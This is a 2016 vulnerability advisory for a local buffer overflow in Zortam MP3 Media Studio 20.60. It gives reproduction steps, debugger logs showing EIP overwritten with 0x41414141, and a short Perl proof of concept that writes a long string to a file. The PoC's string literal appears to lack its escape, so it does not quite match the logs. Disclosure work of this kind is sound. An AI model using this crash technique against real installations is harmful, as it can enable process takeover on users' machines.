Document Title:
===============
Zortam Media Studio 20.60 - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1884


Release Date:
=============
2016-07-27


Vulnerability Laboratory ID (VL-ID):
====================================
1884


Common Vulnerability Scoring System:
====================================
6.5


Product & Service Introduction:
===============================
Zortam Mp3 Media Studio is a great all-in-one music tool for organizing your Mp3/Karaoke collection for 
editing Mp3 ID3 tags, 
ripping your CD, normalizing Mp3, converts Mp3/Wav and Wav/Mp3, to get song lyric and cover arts from the internet and 
keeping your music collection well organized.

(Copy of the Vendor Homepage: http://www.zortam.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the offical Zortam MP3 Media Studio 20.60 software.


Vulnerability Disclosure Timeline:
==================================
2016-07-27:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered in the official Zortam MP3 Media Studio 20.60 software.
The vulnerability allows local attackers to overwrite the registers to compromise the local software process.

The classic buffer overflow vulnerability is located in the software Zortam mp3. An attacker can manipulate the 
bit EIP register in order to execute the next instruction of their choice. Attackers are able to for example 
execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite 
the EIP register of the process. Finally the attacker is able to takeover the process by an overwrite of the 
active program process to compromise the computer system.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 6.5. Exploitation of the vulnerability requires a low privilege or restricted system 
user account without user interaction. Successful exploitation of the vulnerability results in computer system 
manipulation and compromise of the computer system.


Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Launch Zortam mp3.exe                
2. Run the code in perl and a file format (.txt) will create
3. Click on search media to mp3
4. Open File .(.txt)
5. Copy and paste characters string AAAAAAAAAAA+ ... in input "Selects" and click the button "OK".
6. Software will crash with 
7. Successful reproduce of the local buffer overflow vulnerability!


--- Debug Logs ---
Access violation - code c0000005
eax=00000000 ebx=00000000 ecx=41414141 edx=776138a0 esi=00000000 edi=00000000
eip=41414141 esp=0014cf98 ebp=0014cfb8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???
-
0:000> !exchain
0014cfac: ntdll!RtlConvertUlongToLargeInteger+b0 (776138a0)
0014d3b4: ntdll!RtlConvertUlongToLargeInteger+b0 (776138a0)
0014da6c: 41414141
Invalid exception stack at 41414141
-
0:000> d 0014da6c
0014da6c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0014da7c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0014da8c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0014da9c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0014daac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0014dabc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0014dacc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0014dadc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Note: EIP and ECX overwritten!


PoC: Perl Exploit
#!/usr/bin/perl
my $Buff = "x41" x 2000;
open(MYFILE,'>>File.txt');
print MYFILE $Buff;
close(MYFILE);
print " POC created by ZwXn";


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the studio software core is estimated as high. (CVSS 6.5)


Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]


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=========================
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